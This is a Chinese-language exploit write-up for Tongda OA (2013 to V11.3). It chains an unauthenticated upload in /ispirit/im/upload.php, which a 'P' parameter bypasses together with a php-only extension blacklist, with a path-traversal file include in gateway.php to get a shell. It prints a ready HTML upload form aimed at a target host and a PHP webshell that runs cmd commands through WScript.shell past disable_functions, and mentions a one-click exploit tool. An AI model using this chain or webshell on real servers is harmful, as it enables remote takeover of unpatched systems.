影响范围

  • V11.3版
  • 2017版
  • 2016版
  • 2015版
  • 2013版
  • 2013增强版

漏洞简介

通过未授权访问进入上传点上传图片马,使用任意文件包含getshell

漏洞分析

未授权访问文件上传

漏洞点位于/ispirit/im/upload.php,首先看到如下代码

$P = $_POST["P"];
if (isset($P) || ($P != "")) {
    ob_start();
    include_once "inc/session.php";
    session_id($P);
    session_start();
    session_write_close();
}
else {
    include_once "./auth.php";
}

auth.php是进行身份认证相关的,如果我们POST传入了一个P那么就会实现绕过,但是由于还有后续验证所以并没有完全绕过

1.png

接着我们继续看代码如下

$DEST_UID = $_POST["DEST_UID"];
$dataBack = array();
if (($DEST_UID != "") && !td_verify_ids($ids)) {
    $dataBack = array("status" => 0, "content" => "-ERR " . _("接收方ID无效"));
    echo json_encode(data2utf8($dataBack));
    exit();
}

if (strpos($DEST_UID, ",") !== false) {
}
else {
    $DEST_UID = intval($DEST_UID);
}
if ($DEST_UID == 0) {
    if ($UPLOAD_MODE != 2) {
        $dataBack = array("status" => 0, "content" => "-ERR " . _("接收方ID无效"));
        echo json_encode(data2utf8($dataBack));
        exit();
    }
}

这里还有如下代码

if ($DEST_UID == 0) {
    if ($UPLOAD_MODE != 2) {
        $dataBack = array("status" => 0, "content" => "-ERR " . _("接收方ID无效"));
        echo json_encode(data2utf8($dataBack));
        exit();
    }
}

如果传入DEST_UID为0,那么UPLOAD_MODE就必须为2(这样也是可以的)

我们这里传入DEST_UID不为空也不为0,走到了如下代码

$MODULE = "im";

if (1 <= count($_FILES)) {
    if ($UPLOAD_MODE == "1") {
        if (strlen(urldecode($_FILES["ATTACHMENT"]["name"])) != strlen($_FILES["ATTACHMENT"]["name"])) {
            $_FILES["ATTACHMENT"]["name"] = urldecode($_FILES["ATTACHMENT"]["name"]);
        }
    }

    $ATTACHMENTS = upload("ATTACHMENT", $MODULE, false);

可以看到上传的参数名为ATTACHMENT,将文件名进行了一次URL解码,使用upload()函数上传,跟进inc/utility_file.php:upload,直接看到关键代码部分

if (!is_uploadable($ATTACH_NAME)) {
                $ERROR_DESC = sprintf(_("禁止上传后缀名为[%s]的文件"), substr($ATTACH_NAME, strrpos($ATTACH_NAME, ".") + 1));
            }

跟进is_uploadable()函数,也直接贴关键代码部分

function is_uploadable($FILE_NAME)
{
    $POS = strrpos($FILE_NAME, ".");

    if ($POS === false) {
        $EXT_NAME = $FILE_NAME;
    }
    else {
        if (strtolower(substr($FILE_NAME, $POS + 1, 3)) == "php") {
            return false;
        }

这里黑名单限制了后缀不能为php,可以使用.phtml、.cpt等,windows下可以上传.php.绕过,也不影响我们上传图片马,为后面任意文件包含做铺垫

漏洞复现

没有上传点我们就构造一个上传点

<html>
<body>
<form action="http://192.168.117.128:8888/ispirit/im/upload.php" method="post"  enctype="multipart/form-data">
<input type="text"name='P' value = 1  ></input>
<input type="text"name='UPLOAD_MODE' value = 1 ></input>
<input type="text" name="DEST_UID" value = 1></input>
<input type="file" name="ATTACHMENT"></input>
<input type="submit" ></input>
</body>
</form>
</html>

成功上传图片马

2.png

既然知道了可以上传,那么上传路径也要知道,其实不用继续代码审计也能轻易得到,比如搜索后缀,文件监控等

上传路径位于attach/im/2010

3.png

任意文件包含

漏洞触发点位于ispirit/interface/gateway.php

if ($json) {
    $json = stripcslashes($json);
    $json = (array) json_decode($json);

    foreach ($json as $key => $val ) {
        if ($key == "data") {
            $val = (array) $val;

            foreach ($val as $keys => $value ) {
                $keys = $value;
            }
        }

        if ($key == "url") {
            $url = $val;
        }
    }

    if ($url != "") {
        if (substr($url, 0, 1) == "/") {
            $url = substr($url, 1);
        }

        if ((strpos($url, "general/") !== false) || (strpos($url, "ispirit/") !== false) || (strpos($url, "module/") !== false)) {
            include_once $url;
        }
    }

    exit();
}

这里好奇为什么可以直接传入json的值,$json是凭空出现的,可能是注册了全局变量吧

这里很简单,传入json让键为url,值里面包含general、ispirit、module三者之一就行,然后通过目录跳转就实现了任意文件包含,包含我们之前上传的图片马

4.png

但是发现无法执行命令,因为通达OA有disable_function,于是找了一个能过disable_function的webshell

<?php$command=$_GET['cmd'];$wsh = new COM('WScript.shell');$exec = $wsh->exec("cmd /c ".$command);$stdout = $exec->StdOut();$stroutput = $stdout->ReadAll();echo $stroutput;?>

重新上传,经过无数次测试,我发现我的图片马还是不能执行命令,可能是哪里解析出错了,为了干净一点我上传了phtml后缀的文件,内容就是上面的webshell,包含一下成功getshell

5.png

一键getshell

自己写了一个利用工具

6.png